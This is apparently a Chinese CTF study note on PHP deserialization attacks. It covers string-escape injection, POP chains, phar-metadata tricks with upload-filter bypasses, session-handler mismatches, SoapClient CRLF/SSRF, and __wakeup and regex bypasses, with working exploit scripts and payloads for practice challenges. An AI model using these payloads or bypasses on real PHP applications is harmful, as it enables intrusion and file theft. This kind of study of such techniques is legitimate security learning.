PHP反序列化
前言
前人栽树,后人乘凉。
序列化与反序列化
序列化:
函数 : serialize()
把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
反序列化:
函数: unserialize()
恢复原先被序列化的变量
注意
- 序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类在当前作用域存在的条件
- 能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
- PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的。
PHP对象 对 属性的访问控制下 序列化字符串 的特点
- public:公有的类成员可以在**任何地方被访问,**属性被序列化的时候属性值会变成
属性名
- protected:受保护的类成员则可以**被其自身以及其子类和父类访问,**属性被序列化的时候属性值会变成
\x00\*\x00属性名
- private:私有的类成员则**只能被其定义所在的类访问,**属性被序列化的时候属性值会变成
\x00类名\x00属性名
tips:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
这里 \x00 可以用 chr(0) 来表示。在电脑中,由于编码情况不一,\x00 可能会出现后面的三种情况:1、直接不见 2、变成空格 3、变成字符串长度为1的乱码。有时要对序列化后的字符串进行下一步操作,就要注意这一点了。
魔术方法
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
序列化格式
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串
字符逃逸
字符逃逸类似注入,让原本会被视为字符串的 payload 被反序列化解析成一个对象或其他什么,达到目的。
字符逃逸题的特点:代码中一般会有 str_replace 函数对可控变量进行过滤。
一般的做题思路:当我们知道这是一题字符逃逸题时,就要去考虑我们要逃逸的字符串是什么,先把字符串构造出来,然后再进行下一步。
字符变长逃逸
从我们暑假集训中取的一个例子(现在才复现)
如下是题目:
<?php // 目标是读取和test.txt同路径下的flag.txt
highlight_file(__FILE__);
function filter($str) {
return str_replace("eval", "notnotnot", $str);
}
class A {
public $user = "test";
public $file = "test.txt";
public function show() {
echo file_get_contents($this->file);
}
}
$a = new A();
if(isset($_GET['user'])) {
$a->user=$_GET['user'];
$a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();
?>
同目录下还有 test.txt 和 flag.txt 文件,内容如下:
// text.txt
114514
// flag.txt
flag{1145141919810}
复现
我们按照他的方式输出序列化字符串:
<?php
function filter($str) {
return str_replace("eval", "notnotnot", $str);
}
class A {
public $user = 'test';
public $file = "test.txt";
}
$a = new A();
$b = serialize($a);
var_dump(filter($b));
// 得到结果是:O:1:"A":2:{s:4:"user";s:4:"test";s:4:"file";s:8:"test.txt";}
这里我们希望有s:4:"file";s:8:"flag.txt";
字串,有这个字串就能够在反序列化后读取 flag.txt 文件了,根据题目,我们可以利用字符变长的特点逃逸字串。
这里 eval 4个字符会经过 filter 函数变成 notnotnot 共9个字符,所以一次可以逃逸 5 个字符,这里我们要逃逸的字符串是:";s:4:"file";s:8:"flag.txt";}
,共29个字符,则我们可以再在末尾加一个 ‘}’ ,使该串变成30个字符,也就是5的倍数,30/5 = 6 所以要6个eval。
于是如下就是payload,最终拿到了flag{1145141919810}
?user=evalevalevalevalevaleval";s:4:"file";s:8:"flag.txt";}}
我们可以看看在输入了如上payload后,原来的字串变成了什么:
<?php
function filter($str) {
return str_replace("eval", "notnotnot", $str);
}
class A {
public $user = 'evalevalevalevalevaleval";s:4:"file";s:8:"flag.txt";}}';
public $file = "test.txt";
}
$a = new A();
$b = serialize($a);
var_dump(filter($b));
// 经过filter后↓
// O:1:"A":2: {s:4:"user";s:54:"notnotnotnotnotnotnotnotnotnotnotnotnotnotnotnotnotnot";s:4:"file";s:8:"flag.txt";}}";s:4:"file";s:8:"test.txt";}
由于PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的。因此,这里的";s:4:“file”;s:8:“test.txt”;}串就会被丢弃,而 s:4:“file”;s:8:“flag.txt”; 串成功逃逸。
字符变短逃逸
还是暑期集训的例子,题目如下:
<?php // 目标是读取和test.txt同路径下的flag.txt
highlight_file(__FILE__);
function filter($str) {
return str_replace("eval", "", $str);
}
class A {
public $user = "test";
public $pass = "test";
public $file = "test.txt";
public function show() {
echo file_get_contents($this->file);
}
}
$a = new A();
if(isset($_GET['user'])) {
$a->user=$_GET['user'];
$a->pass=$_GET['pass'];
$a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();
?>
同目录下还有 test.txt 和 flag.txt 文件,内容如下:
// text.txt
114514
// flag.txt
flag{1145141919810}
复现
还是一样,上来我们先按他的方式输出一下字符串
<?php
function filter($str) {
return str_replace("eval", "", $str);
}
class A {
public $user = "test";
public $pass = "test";
public $file = "test.txt";
}
$a = new A();
$b = serialize($a);
var_dump(filter($b));
// 得到结果如下:
// O:1:"A":3:{s:4:"user";s:4:"test";s:4:"pass";s:4:"test";s:4:"file";s:8:"test.txt";}
这里我们还是希望有s:4:"file";s:8:"flag.txt";
字串,并且在这里我们可以控制
u
s
e
r
和
user和
user和pass两个变量,所以我们可以用user来传eval,pass来传我们想传的字串。
eval->“”,所以一次逃逸4个字符,变短逃逸使得我们可以“吃掉”一部分的字符串,这里我们“吃掉”";s:4:"pass";s:4:"test
字串,若字串长度太短,我们可以在pass传值时,在开头传几个数字,使得后续代码能够注入,同时我们还需要补回一个pass防止报错,下面是payload:
?user=evalevalevalevaleval&pass=1";s:4:"pass";s:4:"test";s:4:"file";s:8:"flag.txt";}
我们可以看看在输入了如上payload后,原来的字串变成了什么:
<?php
function filter($str) {
return str_replace("eval", "", $str);
}
class A {
public $user = "test";
public $pass = "test";
public $file = "test.txt";
}
$a = new A();
$a->user = 'evalevalevalevaleval';
$a->pass = '1";s:4:"pass";s:4:"test";s:4:"file";s:8:"flag.txt";}';
$b = serialize($a);
var_dump(filter($b));
// O:1:"A":3:{s:4:"user";s:20:"";s:4:"pass";s:52:"1";s:4:"pass";s:4:"test";s:4:"file";s:8:"flag.txt";}";s:4:"file";s:8:"test.txt";}
// 可以看到 ";s:4:"pass";s:52:"1 字串被当做了user的值传入,而file被成功替换成了flag.txt
获得flag
POP链构造
它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码。
POP链常见套路组合:
起点:__destruct() -> 存在字符串拼接等操作 -> __toString
-> 存在 new 关键字 -> __construct
-> 存在类中任意方法的调用 -> __call
-> 存在类中的属性的获取 -> __get
-> 存在对属性的更改 -> __set
-> 存在对对象的直接调用如 $a() -> __invoke
-> 程序自己的函数
-> 终点:eval/file_put_contents/call_user_func/...
非常基础的一条pop链构造栗子:
<?php
highlight_file(__FILE__);
class class_a {
public $a;
public $b;
public function __destruct() {
$this->a->test1();
}
}
class class_b {
public $a;
public $b;
public function test1() {
$this->a->test2();
}
}
class class_c {
public $a;
public $b;
public function __call($test2, $arr) {
$s1 = $this->a;
$s1();
}
}
class class_d {
public $a;
public $b;
public function __invoke() {
$this->b = "xxx".$this->a;
}
}
class class_e {
public $a;
public $b;
public function __toString() {
$this->a->get_flag();
return "1";
}
}
class class_f {
public function get_flag() {
echo "flag:". file_get_contents("111.txt");
}
}
$a = $_GET['string'];
unserialize($a);
分析一下
我们在class_a找到入口__destruct
,发现调用了test1()这个函数,所以去看class_b,发现其中调用了test2(),在全局中找不到test2()函数,所以我们可以将目光转向 __call
,跟进class_c,发现有$s1()直接调用,所以用__invoke
,跟进class_d,发现有字符串拼接,用__toString
,跟进class_e,最终指向class_f,拿到flag。
exp:
<?php
class class_a {
public $a;
public $b;
public function __destruct() {
$this->a->test1();
}
}
class class_b {
public $a;
public $b;
public function test1() {
$this->a->test2();
}
}
class class_c {
public $a;
public $b;
public function __call($test2, $arr) {
$s1 = $this->a;
$s1();
}
}
class class_d {
public $a;
public $b;
public function __invoke() {
$this->b = "xxx".$this->a;
}
}
class class_e {
public $a;
public $b;
public function __toString() {
$this->a->get_flag();
return "1";
}
}
class class_f {
public function get_flag() {
echo 114514;
}
}
$x = new class_a();
$x->a = new class_b();
$x->a->a = new class_c();
$x->a->a->a = new class_d();
$x->a->a->a->a = new class_e();
$x->a->a->a->a->a = new class_f();
var_dump(serialize($x));
payload:
?string=O:7:"class_a":2:{s:1:"a";O:7:"class_b":2:{s:1:"a";O:7:"class_c":2:{s:1:"a";O:7:"class_d":2:{s:1:"a";O:7:"class_e":2:{s:1:"a";O:7:"class_f":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}
框架的POP链
这个要有时间再自己复现了。
参考文章:https://lazzzaro.github.io/2020/05/24/web-CMS/
Phar反序列化
简介
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。
这样就可以在不调用unserialize()的情况下进行反序列化操作。
phar文件结构
1、stub
可以理解为一个在头部的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2、manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3、the file contents
被压缩的文件内容。
4、signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式:
利用条件
-
phar文件要能够上传到服务器端。能触发的文件操作函数:
include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_file
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
phar文件生成脚本
注意要在 php.ini 中设置 phar.readonly = Off
普通生成
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //生成时后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
tar包装生成
<?php
class User {
Public $name;
}
$o = new User();
$o->name = 'JrXnm';
@unlink("phar.tar");
@system('rm -r .phar');
@system('mkdir .phar');
file_put_contents('.phar/.metadata',serialize($o));
system('tar -cf phar.tar .phar/*');
// phar://./phar.tar
// phar:///var/www/html/uploads/phar.tar
zip包装生成
<?php
class User {
Public $name;
}
$o = new User();
$o->name = 'JrXnm';
$d = serialize($o);
if(file_exists('phar.zip')) {
@unlink("phar.zip");
}
$zip = new ZipArchive;
$res = $zip->open('phar.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($d);
$zip->close();
// phar://./phar.zip
// phar:///var/www/html/uploads/phar.zip
当服务器有类似如下我们能控制 $filename 的代码,我们就可以进行上传,反序列化。
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename); // 这里换成上方任意文件包含函数都可以成功
?>
析构方法会被调用,weakup等方法不会调用
phar进阶利用 – bypass WAF
① 将phar伪造成其他格式的文件:在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
这样可以绕过一些简单的上传检测。
② phar文件的标志:__HALT_COMPILER, 所以许多针对phar攻击手法的文件上传检测函数会检测文件中是否存在该关键词,此时我们可以采用压缩算法,上传一个不含此关键词的phar文件。通过源码分析,将phar文件进行tar、gzip、bzip2压缩后,均可以被正确解析,此外将meta-data数据写到zip注释中也可以触发解析,但因为数据中可能存在 \x00 所以在利用上较为困难,有局限性。tips:源码中对于phar中meta-data解析的函数为phar_parse_metadata()及相关函数,去定位更多方法。 如gzip压缩:gzip phar.jpg
③ 若phar://不能出现在首部,则可以用下面的方法绕过。
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
phar进阶利用 – fastdestruct
在一些ctf题目中,存在phar和fast destruct组合利用的情况,解题时要将php自动生成的phar文件中的metadata自行更改,以完成对__wakeup或其他组织进入 destruct 的情况的绕过,但phar文件中存在签名,不能任意更改其中内容,如需更改则必须更新签名,让phar文件合法,常用的更新签名脚本如下。
更新phar签名python脚本(这两个不行就网上查吧)
# 1、
import hashlib
f = open("phar.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("phar.phar", "wb")
f.write(data)
f.close()
# 2、
from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件
构造phar结构python脚本
from zlib import crc32
from struct import pack
from time import time
from hashlib import md5, sha1, sha256, sha512
class PHAR:
# 一些常量
STUB = b"__HALT_COMPILER(); ?>"
GBMB = b"GBMB"
MD5 = b"\x01\x00\x00\x00"
SHA1 = b"\x02\x00\x00\x00"
SHA256 = b"\x03\x00\x00\x00"
SHA512 = b"\x04\x00\x00\x00"
def __init__(self,
prefix: str,
manifestData: dict,
filesData: list,
signatureType: MD5
):
self.prefix = prefix.encode()
self.manifestData = manifestData
self.filesData = filesData
self.signatureType = signatureType
def parse(self):
# 检查清单的参数
if any(self.manifestData.get(each) is None for each in ["loc", "metaData"]):
return False
# 至少要归档一个文件
if len(self.filesData) == 0:
return False
# 遍历检查文件的参数
for file in self.filesData:
if any(file.get(each) is None for each in ["fileName", "fileContent", "loc", "metaData"]):
return False
# 将字符串转换字节流
self.manifestData["metaData"] = self.manifestData["metaData"].encode()
for file in self.filesData:
for key, value in file.items():
if key in ["fileName", "fileContent", "metaData"]:
file[key] = value.encode()
return True
def generate(self):
# 检查参数
if not self.parse():
return b""
phar = b""
# stub
stub = self.stub()
# manifest
manifest = self.manifest()
files = self.file()
# content
contents = self.content()
# 计算总长度
manifest = pack("I", len(manifest + files + contents)) + manifest[4:]
# signature
signature = self.signature(stub + manifest + files + contents)
# 重新拼接
phar += stub + manifest + files + contents + signature
return phar
def stub(self):
return self.prefix + self.STUB + b"\r\n"
def manifest(self):
# 归档文件数量
manifest = pack("I", len(self.filesData))
# 版本
manifest += b"\x11\x00"
# 标识
manifest += b"\x00\x00\x01\x00"
# 别名长度
manifest += b"\x00\x00\x00\x00"
# 如果将序列化内容存储于此
if self.manifestData["loc"]:
# metadata长度
manifest += pack("I", len(self.manifestData["metaData"]))
# metadata内容
manifest += self.manifestData["metaData"]
else:
manifest += pack("I", 0)
# 补足长度
manifest = pack("I", 0) + manifest
return manifest
def file(self):
files = b""
# 遍历归档的文件
for file in self.filesData:
# 文件名长度
files += pack("I", len(file["fileName"]))
# 文件名
files += file["fileName"]
# 未压缩大小
files += pack("I", len(file["fileContent"]))
# 时间戳
files += pack("I", int(time()))
# 压缩后大小
files += pack("I", len(file["fileContent"]))
# CRC32校验
files += pack("I", crc32(file["fileContent"]))
# 文件权限
files += pack("I", 0o666)
# 如果将序列化内容存储于此
if file["loc"]:
# metadata长度
files += pack("I", len(file["metaData"]))
# metadata内容
files += file["metaData"]
else:
files += pack("I", 0)
return files
def content(self):
contents = b""
# 遍历所有归档文件
for file in self.filesData:
contents += file["fileContent"]
return contents
def signature(self, content):
signature = b""
# 签名内容
if self.signatureType == self.MD5:
signature = md5(content).digest()
if self.signatureType == self.SHA1:
signature = sha1(content).digest()
if self.signatureType == self.SHA256:
signature = sha256(content).digest()
if self.signatureType == self.SHA512:
signature = sha512(content).digest()
# 签名标志
signature += self.signatureType
# GBMB标志
signature += self.GBMB
return signature
if __name__ == '__main__':
pharData = {
"prefix": "123",
"manifestData": {
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
"filesData": [
{
"fileName": "e.txt",
"fileContent": "dsadawada",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
{
"fileName": "c.txt",
"fileContent": "123",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
],
"signatureType": PHAR.SHA1,
}
p = PHAR(**pharData).generate()
with open("a.phar", "wb") as f:
f.write(p)
PHP session反序列化
PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。
php.ini中一些Session的配置
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
如果是在Linux上搭建的话,常见的php-session存放位置有:
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
php处理session的三种模式:
-
默认使用php:键名|键值(经过序列化函数处理的值)
name|s:5:"br0sy";
-
php_serialize:经过序列化函数处理的值
a:1:{s:4:"name";s:5:"br0sy";}
-
php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
names:5:"br0sy";
不可显的为
EOT
,name
的长度为4
4在ASCII 表中就是 EOT
为什么会产生这个session漏洞?因为在后端代码中使用了不同的模式(引擎)来处理session文件。比如我们来看下面这个例子。
1.php:生成SESSION,引擎是 php_serialize ,如下:
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'test';
if(isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
?>
2.php:正常的一些业务,但是引擎变成了 php ,如下:
<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class A {
public function __destruct() {
echo file_get_contents("flag.txt");
}
}
session_start();
var_dump($_SESSION);
?>
exp:
<?php
class A {
}
$a = new A();
$b = serialize($a);
var_dump("|".$b);
// |O:1:"A":0:{}
payload:
?name=|O:1:"A":0:{}
然后访问2.php即可,在1.php中 " | " 会被当成普通字符串,但是到2.php中,会把后面的数据进行反序列化,所以 __destruct() 方法会执行。
upload_process机制(没有$_SESSION变量赋值情况下的反序列化)
参考文章的文末:https://www.cnblogs.com/zzjdbk/p/12995217.html
PHP原生反序列化
Soap反序列化
一般情况下都是和其他漏洞一起打组合拳,实现ssrf或csrf。
CRLF漏洞
什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a
,在HTTP当中header
和body
之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。
SOAP
SOAP
: Simple Object Access Protocol
简单对象访问协议。
采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法。
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:6888/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
如此运行就可以发送一个POST请求,请求头中含有SOAPAction参数,内容为"bbb#not_exists_function"
,再依靠CRLF注入,我们就可以控制header头,来执行我们想要执行的操作
但 Content-Type 在 SOAPAction 上面,无法控制 Content-Type ,但在 header 里的 User-Agent 在 Content-Type前面,通过 user_agent 同样可以注入CRLF,控制Content-Type,如下是利用代码。
<?php
$target = 'http://127.0.0.1:6888';
$post_string = 'token=ly0n'; // 这里可以post任意数据
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
参考文章:https://y4tacker.blog.csdn.net/article/details/110521104
其他内置类
Error/Exception -> XSS/绕过hash
Directorylterator glob:// -> 列目录 bypass open_basedir
SimpleXMLElement ->XXE
Filesystemlterator -> 列目录 bypass open_basedir
SplFileInfo -> 读取文件内容
ReflectionMethod -> 获取注释内容
反序列化题的一些绕过方法
-
__wakeup()失效
-
PHP5<5.6.25 或 PHP7<7.0.10
当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
如:
O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
-
Serialize 特性:O 改为 C
-
-
绕过preg_match()
可使用
+
,<
绕过正则,如:O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} O:<4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
-
绕过关键字
PHP序列化中存在序列化类型
S
,相较于小写的s
,大写S
是escaped字符串,会将\xx
形式作为一个16进制字符处理,如:n
的十六进制是6e
,所以把name
替换为\6eame
即可绕过。 -
绕过 throw new Exception
-
去掉最后的大括号,利用反序列化报错来防止进入 Exception
-
GC
a:2:{i:0;O:7:"getflag":{}i:0;N;}
因为反序列化的过程是顺序执行的,所以到第一个属性时,会将
Array[0]
设置为getflag
对象,同时我们又将Array[0]
设置为null
,这样前面的getflag
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
。
-
-
绕过 md5+sha1 验证
-
unserialize_callback_func + spl_autoload
详见Lazzaro的博客:https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
总结
web真有意思,整理完自信满满,开了两道题目啥都不会,鉴定为纯纯的纯纯。
例题(不断更新)
1、攻防世界:Web_php_unserialize
一道简单的php反序列化题。
用到的魔术方法:__construct、 __destruct、__wakeup
进入题目,直接显示 index.php 的源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
绕过点:
1、__wakeup()绕过:在 PHP5 < 5.6.25, PHP7 < 7.0.10
的版本存在wakeup的漏洞。当反序列化中 object 的个数和之前的个数不等时,wakeup就会被绕过。
2、正则表达式绕过:该正则表达式主要是防止 O:1:
这种字符串的出现,只要在 1 前加一个 + 或者 < 号即可绕过,原串仍然能被反序列化,如:O:+1:
exp:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$file = 'fl4g.php';
$a = new Demo($file);
$b = serialize($a);
$b = str_replace(":1:", ":2:", $b);
$b = str_replace(":4:", ":+4:", $b);
var_dump(base64_encode($b));
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
即可得到flag:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
2、buuctf:[MRCTF2020]Ezpop
简单的一道pop链构造,不过有些注意点。
进去就有源码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
分析一波
这里我们找不到通常的__destruct
入口,但是发现在Show类中的__construct
中有一个字符串拼接,并且在Show类中还有__toString
,所以我们可以给source new 一个 Show 对象,在__toString
中还有str获取属性,可以看到在Test类中有__get
,所以我们可以给str new 一个Test对象,继续跟进,发现 $function() ,看到 Modifier 类中有__invoke
,所以我们可以给 p new 一个 Modifier 对象,剩下是文件包含,可以用 php://filter 转换base64读取源码。
exp:
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
$b = serialize($a);
var_dump(urlencode($b));
payload:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
这里用 urlencode的原因应该是,protected序列化以后会产生 \x00 会截断url,所以encode一下防止截断,读取源码得到
flag:flag{0a380b9f-5b26-4c96-a71b-37e9ab5a38b6}
3、 [EIS 2019]EzPOP
看了wp,其实题目不算难,但是还是有点恶心,知识点是pop链构造和死亡exit绕过,有 php://filter 的妙用。
给了源码,?src=1 也可看源码,源码如下:
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
